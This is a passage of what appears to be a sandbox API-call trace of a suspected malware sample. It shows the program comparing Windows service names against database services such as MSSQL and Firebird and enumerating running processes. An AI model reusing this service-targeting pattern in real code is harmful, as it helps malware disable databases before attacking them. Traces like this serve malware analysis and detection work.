lpString2="PlugPlay") returned -1 [0106.635] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0106.635] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0106.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0106.635] lstrlenW (lpString="Power") returned 5 [0106.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0106.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0106.635] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0106.635] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0106.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0106.635] lstrlenW (lpString="ProfSvc") returned 7 [0106.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0106.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0106.635] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0106.635] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0106.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0106.635] lstrlenW (lpString="RpcEptMapper") returned 12 [0106.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0106.636] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0106.636] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0106.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0106.636] lstrlenW (lpString="RpcSs") returned 5 [0106.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0106.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0106.636] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0106.636] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0106.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0106.636] lstrlenW (lpString="SamSs") returned 5 [0106.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0106.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0106.636] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0106.636] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0106.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0106.636] lstrlenW (lpString="Schedule") returned 8 [0106.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0106.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0106.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0106.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0106.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0106.636] lstrlenW (lpString="SecurityHealthService") returned 21 [0106.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0106.636] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0106.636] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0106.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0106.637] lstrlenW (lpString="SENS") returned 4 [0106.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0106.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0106.637] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0106.637] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0106.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0106.637] lstrlenW (lpString="ShellHWDetection") returned 16 [0106.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0106.637] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0106.637] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0106.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0106.637] lstrlenW (lpString="Spooler") returned 7 [0106.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0106.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0106.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0106.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0106.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0106.637] lstrlenW (lpString="SSDPSRV") returned 7 [0106.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0106.637] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0106.637] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0106.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0106.637] lstrlenW (lpString="StateRepository") returned 15 [0106.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0106.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0106.637] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0106.638] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0106.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0106.638] lstrlenW (lpString="SysMain") returned 7 [0106.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0106.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0106.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0106.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0106.638] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60fb70 | out: hHeap=0x5b0000) returned 1 [0106.638] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x27c [0106.643] Process32FirstW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0106.643] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0106.644] lstrlenW (lpString="System") returned 6 [0106.644] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0106.672] lstrlenW (lpString="smss.exe") returned 8 [0106.672] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.673] lstrlenW (lpString="csrss.exe") returned 9 [0106.673] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0106.674] lstrlenW (lpString="wininit.exe") returned 11 [0106.674] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0106.675] lstrlenW (lpString="csrss.exe") returned 9 [0106.675] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0106.676] lstrlenW (lpString="winlogon.exe") returned 12 [0106.676] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0106.677] lstrlenW (lpString="services.exe") returned 12 [0106.677] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0106.677] lstrlenW (lpString="lsass.exe") returned 9 [0106.677] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.678] lstrlenW (lpString="svchost.exe") returned 11 [0106.678] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.679] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.679] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0106.680] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0106.680] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.681] lstrlenW (lpString="svchost.exe") returned 11 [0106.681] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0106.682] lstrlenW (lpString="dwm.exe") returned 7 [0106.682] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.682] lstrlenW (lpString="svchost.exe") returned 11 [0106.683] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.683] lstrlenW (lpString="svchost.exe") returned 11 [0106.683] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.684] lstrlenW (lpString="svchost.exe") returned 11 [0106.684] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.685] lstrlenW (lpString="svchost.exe") returned 11 [0106.685] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.686] lstrlenW (lpString="svchost.exe") returned 11 [0106.686] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.686] lstrlenW (lpString="svchost.exe") returned 11 [0106.686] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.687] lstrlenW (lpString="svchost.exe") returned 11 [0106.687] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.688] lstrlenW (lpString="svchost.exe") returned 11 [0106.688] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.689] lstrlenW (lpString="svchost.exe") returned 11 [0106.689] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0106.690] lstrlenW (lpString="spoolsv.exe") returned 11 [0106.690] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.690] lstrlenW (lpString="svchost.exe") returned 11 [0106.691] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.692] lstrlenW (lpString="svchost.exe") returned 11 [0106.692] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0106.692] lstrlenW (lpString="audiodg.exe") returned 11 [0106.692] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0106.693] lstrlenW (lpString="sihost.exe") returned 10 [0106.693] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0106.694] lstrlenW (lpString="svchost.exe") returned 11 [0106.694] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.695] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.695] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0106.696] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0106.696] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0106.697] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0106.697] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0106.697] lstrlenW (lpString="explorer.exe") returned 12 [0106.697] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0106.698] lstrlenW (lpString="Memory Compression") returned 18 [0106.698] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0106.699] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0106.699] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0106.700] lstrlenW (lpString="SearchUI.exe") returned 12 [0106.700] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0106.700] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0106.700] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0106.701] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0106.701] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.702] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.702] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0106.703] lstrlenW (lpString="UsoClient.exe") returned 13 [0106.703] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0106.704] lstrlenW (lpString="taskhostw.exe") returned 13 [0106.704] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0106.705] lstrlenW (lpString="msoia.exe") returned 9 [0106.705] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0106.706] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0106.706] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0106.706] lstrlenW (lpString="msoia.exe") returned 9 [0106.706] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0106.746] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0106.746] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0106.747] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0106.747] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver fireplace subdivision.exe")) returned 1 [0106.748] lstrlenW (lpString="screensaver fireplace subdivision.exe") returned 37 [0106.748] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arc obviously.exe")) returned 1 [0106.749] lstrlenW (lpString="arc obviously.exe") returned 17 [0106.749] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scholars.exe")) returned 1 [0106.750] lstrlenW (lpString="scholars.exe") returned 12 [0106.750] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolatedconcerned.exe")) returned 1 [0106.750] lstrlenW (lpString="isolatedconcerned.exe") returned 21 [0106.750] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizing.exe")) returned 1 [0106.751] lstrlenW (lpString="organizing.exe") returned 14 [0106.751] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="campus.exe")) returned 1 [0106.752] lstrlenW (lpString="campus.exe") returned 10 [0106.752] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mug.exe")) returned 1 [0106.753] lstrlenW (lpString="mug.exe") returned 7 [0106.753] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, 